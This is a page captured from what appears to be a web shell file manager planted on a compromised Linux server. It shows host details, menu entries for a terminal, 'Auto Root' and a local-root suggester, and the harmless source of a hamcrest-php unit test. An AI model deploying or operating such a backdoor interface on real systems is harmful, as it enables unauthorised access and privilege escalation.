Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.44
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
hamcrest /
hamcrest-php /
tests /
Hamcrest /
Delete
Unzip
Name
Size
Permission
Date
Action
Array
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
Collection
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
Core
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
Number
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
Text
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
Type
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
Xml
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
AbstractMatcherTest.php
1.86
KB
-rw-r--r--
2016-01-20 09:00
BaseMatcherTest.php
535
B
-rw-r--r--
2016-01-20 09:00
FeatureMatcherTest.php
1.62
KB
-rw-r--r--
2016-01-20 09:00
MatcherAssertTest.php
7.17
KB
-rw-r--r--
2016-01-20 09:00
StringDescriptionTest.php
5.32
KB
-rw-r--r--
2016-01-20 09:00
UtilTest.php
2.55
KB
-rw-r--r--
2016-01-20 09:00
Save
Rename
<?php namespace Hamcrest; class Thingy { private $_result; public function __construct($result) { $this->_result = $result; } public function getResult() { return $this->_result; } } /* Test-specific subclass only */ class ResultMatcher extends \Hamcrest\FeatureMatcher { public function __construct() { parent::__construct(self::TYPE_ANY, null, equalTo('bar'), 'Thingy with result', 'result'); } public function featureValueOf($actual) { if ($actual instanceof \Hamcrest\Thingy) { return $actual->getResult(); } } } class FeatureMatcherTest extends \Hamcrest\AbstractMatcherTest { private $_resultMatcher; public function setUp() { $this->_resultMatcher = $this->_resultMatcher(); } protected function createMatcher() { return $this->_resultMatcher(); } public function testMatchesPartOfAnObject() { $this->assertMatches($this->_resultMatcher, new \Hamcrest\Thingy('bar'), 'feature'); $this->assertDescription('Thingy with result "bar"', $this->_resultMatcher); } public function testMismatchesPartOfAnObject() { $this->assertMismatchDescription( 'result was "foo"', $this->_resultMatcher, new \Hamcrest\Thingy('foo') ); } public function testDoesNotGenerateNoticesForNull() { $this->assertMismatchDescription('result was null', $this->_resultMatcher, null); } // -- Creation Methods private function _resultMatcher() { return new \Hamcrest\ResultMatcher(); } }